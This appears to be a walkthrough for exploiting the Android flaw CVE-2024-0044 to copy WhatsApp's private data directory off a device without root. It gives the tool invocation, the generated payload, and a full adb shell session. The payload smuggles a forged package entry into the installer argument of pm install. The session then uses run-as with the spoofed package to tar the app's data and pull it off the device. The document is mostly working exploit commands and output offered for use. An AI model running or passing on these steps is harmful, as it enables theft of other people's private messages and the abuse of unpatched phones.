Run the tool
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
A payload.txt file like this will be generated
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
The tool automates some parts and other parts are manual. You can exit after generating the payload and run all the commands manually or you can continue with the instructions
Next you'll need to connect to your device using adb shell and paste in the payload and make sure you get a Success message back after the last command
pl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Create a temporary directory: mkdir /data/local/tmp/wa/
Create a placeholder for a tar file: touch /data/local/tmp/wa/wa.tar
Set wide-open permissions: chmod -R 0777 /data/local/tmp/wa/ to ensure any user can read, write, and execute within this directory.
Switch user context: run-as victim to gain the same permissions as the "victim" user.
Archive the target application's data: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, creating a tarball of the WhatsApp data directory.
adb pull /data/local/tmp/wa/wa.tar
You can extract the data using 7z or any other tool
You can use Whatsapp chat exporter to convert it to HTML
This allows you to get whatsapp data without a root access on your device
